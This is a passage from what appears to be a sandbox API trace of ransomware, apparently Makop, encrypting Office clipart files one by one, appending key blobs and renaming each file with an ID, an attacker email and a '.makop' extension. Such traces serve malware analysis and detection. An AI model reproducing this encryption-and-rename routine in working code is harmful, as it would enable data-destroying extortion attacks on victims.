Office\\CLIPART\\PUB60COR\\SO00683_.WMF") returned 63 [0150.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.833] GetProcessHeap () returned 0x48a0000 [0150.833] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.833] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0150.839] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.839] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.839] GetProcessHeap () returned 0x48a0000 [0150.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.839] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.839] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.839] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.840] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.840] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.841] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x62b6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x62b6, lpOverlapped=0x0) returned 1 [0150.843] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62c0) returned 1 [0150.843] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.843] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x62c0, lpOverlapped=0x0) returned 1 [0150.843] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.843] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.844] SetEndOfFile (hFile=0xf0) returned 1 [0150.851] GetProcessHeap () returned 0x48a0000 [0150.851] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.851] GetProcessHeap () returned 0x48a0000 [0150.851] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.852] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.854] CloseHandle (hObject=0xf0) returned 1 [0150.854] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1 [0150.854] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 63 [0150.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.857] GetProcessHeap () returned 0x48a0000 [0150.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.857] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.857] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0150.870] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.870] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.870] GetProcessHeap () returned 0x48a0000 [0150.870] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.870] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.871] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.871] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.871] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.871] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.871] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.872] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.872] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.872] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6302, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6302, lpOverlapped=0x0) returned 1 [0150.874] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6310, dwBufLen=0x6310 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6310) returned 1 [0150.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6310, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6310, lpOverlapped=0x0) returned 1 [0150.875] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x63e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.875] SetEndOfFile (hFile=0xf0) returned 1 [0150.883] GetProcessHeap () returned 0x48a0000 [0150.883] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.883] GetProcessHeap () returned 0x48a0000 [0150.883] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.883] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.885] CloseHandle (hObject=0xf0) returned 1 [0150.885] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1 [0150.886] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF") returned 63 [0150.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.887] GetProcessHeap () returned 0x48a0000 [0150.887] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.887] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0150.892] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.892] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.893] GetProcessHeap () returned 0x48a0000 [0150.893] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.893] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.893] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.893] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.893] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.893] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.893] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.894] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.894] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.894] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3636, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3636, lpOverlapped=0x0) returned 1 [0150.896] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3640, dwBufLen=0x3640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3640) returned 1 [0150.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3640, lpOverlapped=0x0) returned 1 [0150.897] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.897] SetEndOfFile (hFile=0xf0) returned 1 [0150.904] GetProcessHeap () returned 0x48a0000 [0150.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.905] GetProcessHeap () returned 0x48a0000 [0150.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.905] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.907] CloseHandle (hObject=0xf0) returned 1 [0150.907] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6697b000, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6697b000, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1 [0150.907] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF") returned 63 [0150.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.908] GetProcessHeap () returned 0x48a0000 [0150.908] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.908] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.914] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.914] GetProcessHeap () returned 0x48a0000 [0150.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.916] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16478, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16478, lpOverlapped=0x0) returned 1 [0150.919] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16480, dwBufLen=0x16480 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16480) returned 1 [0150.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16480, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16480, lpOverlapped=0x0) returned 1 [0150.921] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.921] SetEndOfFile (hFile=0xf0) returned 1 [0150.929] GetProcessHeap () returned 0x48a0000 [0150.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.929] GetProcessHeap () returned 0x48a0000 [0150.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.930] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 